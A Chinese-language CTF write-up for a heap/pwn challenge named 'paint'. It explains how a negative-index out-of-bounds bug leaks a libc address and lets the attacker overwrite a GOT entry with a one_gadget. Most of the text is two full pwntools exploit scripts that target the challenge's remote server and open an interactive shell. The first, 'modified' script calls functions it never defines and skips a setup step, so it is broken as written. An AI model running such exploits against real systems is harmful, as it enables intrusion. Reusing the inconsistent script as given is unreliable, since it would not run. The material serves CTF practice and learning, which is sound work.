题目:paint 附件: 本链接地址+ paint.zip
dockerfile使用 执行命令进行构建
[root@docker Dockerfile]#docker build -t ctfpwn . 上条命令中build为构建镜像,而参数t则指定镜像name,.则为Dockerfile的路径
进去后找libc
1 2 3 4 5 6 7 8 9 10 11 12 root@ff854125b9c3:/# chmod +x /lib/x86_64-linux-gnu/libc.so.6 root@ff854125b9c3:/# /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.35 -0u buntu3.1 ) stable release version 2.35. Copyright (C) 2022 Free Software Foundation, Inc.This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 11.2 .0 . libc ABIs: UNIQUE IFUNC ABSOLUTE For bug reporting instructions, please see: <https:
后面可以上脚本搭建环境调试, 准备好自己那个脚本
glibc-allinone的源有时候不行,找到了一个有的
https://ubuntu.repo.cure.edu.uy/mirror/pool/main/g/glibc/
思路 画布结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 +---------+----------+--------------------+ | | | | | chunk head | | | | +---------+----------+-----------------+--+ canvas[idx] -> +---------+----------+--------------------+ | | | | v3 v2 | v0+8 malloc canvas | | | | +---------+----------+-----------------+--+ canvas[idx] + 16 -> +---------+----------+--------------------+ | | | | rate | comment addr | | | | +---------+----------+-----------------+--+
泄漏libc地址 数字不一定是正的,可以输入负的!!! 注意学习这种漏洞思维 , 可以看到canvas前面有libc的函数,可以利用这个来泄漏地址
修改got表指针为onegadget 其实本质就是利用负数溢出,让操作以为是在操作堆块,找到对应的位置进行操作即可,
rate(-8,0x222,’\x08\x01’*4+p64(addr))
这里的话,会把-8这个位置当成画布结构数据区开头 , 第一个圈起来的位置则是存放comment chunk 地址的,然后再给comment赋值’\x08\x01’*4+p64(addr)
draw(-5,p64(one)) -5是红色位置,这里又把-5开始的位置当成了画布结构的数据区开头 在draw函数里就是canvas[idx],这是画布的上层结构,而画布内容的存储位置是蓝色的, 这里就可以对蓝色指向的地址进行修改了,也就是got表
往画布里,也就是got表进行修改, 改成onegadget
(这里地址不对,不是同一次调试的,gdb里有pie),但是原理一样,read后,把got表改成了onegadget
exp python2版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *context(os='linux' ,arch='amd64' ) context.log_level=True libc=ELF('libc.so.6' ) p=remote('paint-71ae86dc10a3fe17.brics-ctf.ru' ,13003 ) def add (id ,wid,hei ): p.recvuntil('> ' ) p.sendline('1' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) p.recvuntil('Enter canvas width (1-255): ' ) p.sendline(str (wid)) p.recvuntil('Enter canvas height (1-255): ' ) p.sendline(str (hei)) def resize (id ,wid,hei ): p.recvuntil('> ' ) p.sendline('2' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) p.recvuntil('Enter new width (1-255): ' ) p.sendline(str (wid)) p.recvuntil('Enter new height (1-255): ' ) p.send(str (hei)) def draw (id ,data ): p.recvuntil('> ' ) p.sendline('3' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) p.recvuntil('` chars in `height` lines):' ) p.send(str (data)) def delete (id ): p.recvuntil('> ' ) p.sendline('6' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) def show (id ): p.recvuntil('> ' ) p.sendline('4' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) def comment (id ,x,rate ): p.recvuntil('> ' ) p.sendline('5' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) p.recvuntil('Enter rate: ' ) p.sendline(str (x)) p.recvuntil('ment (y/n): ' ) p.sendline('y' ) p.recvuntil('r your comment: ' ) p.sendline(str (rate)) show(-2 ) p.recv(0xf ) leak=u64(p.recv(8 ))-0x1300 libcbase=leak-(0x7ffff7fad780 -0x00007ffff7d93000 ) print hex (leak)print hex (libcbase)addr=libcbase+0x219098 edit(-8 ,0x222 ,'\x08\x01' *4 +p64(addr)) one=libcbase+0xebcf8 drow(-5 ,p64(one)) p.interactive()
上述是修改过的,下面是队友原exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *context(os='linux' ,arch='amd64' ) context.log_level=True libc=ELF('libc.so.6' ) p=remote('paint-71ae86dc10a3fe17.brics-ctf.ru' ,13003 ) def add (id ,wid,hei ): p.recvuntil('> ' ) p.sendline('1' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) p.recvuntil('Enter canvas width (1-255): ' ) p.sendline(str (wid)) p.recvuntil('Enter canvas height (1-255): ' ) p.sendline(str (hei)) def re (id ,wid,hei ): p.recvuntil('> ' ) p.sendline('2' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) p.recvuntil('Enter new width (1-255): ' ) p.sendline(str (wid)) p.recvuntil('Enter new height (1-255): ' ) p.send(str (hei)) def drow (id ,data ): p.recvuntil('> ' ) p.sendline('3' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) p.recvuntil('` chars in `height` lines):' ) p.send(str (data)) def delete (id ): p.recvuntil('> ' ) p.sendline('6' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) def show (id ): p.recvuntil('> ' ) p.sendline('4' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) def edit (id ,x,rate ): p.recvuntil('> ' ) p.sendline('5' ) p.recvuntil('Enter idx: ' ) p.sendline(str (id )) p.recvuntil('Enter rate: ' ) p.sendline(str (x)) p.recvuntil('ment (y/n): ' ) p.sendline('y' ) p.recvuntil('r your comment: ' ) p.sendline(str (rate)) add(0 ,8 ,1 ) show(-2 ) p.recv(0xf ) leak=u64(p.recv(8 ))-0x1300 libcbase=leak-(0x7ffff7fad780 -0x00007ffff7d93000 ) print hex (leak)print hex (libcbase)pause() addr=libcbase+0x219098 edit(-8 ,0x222 ,'\x08\x01' *4 +p64(addr)) one=libcbase+0xebcf8 drow(-5 ,p64(one)) p.interactive()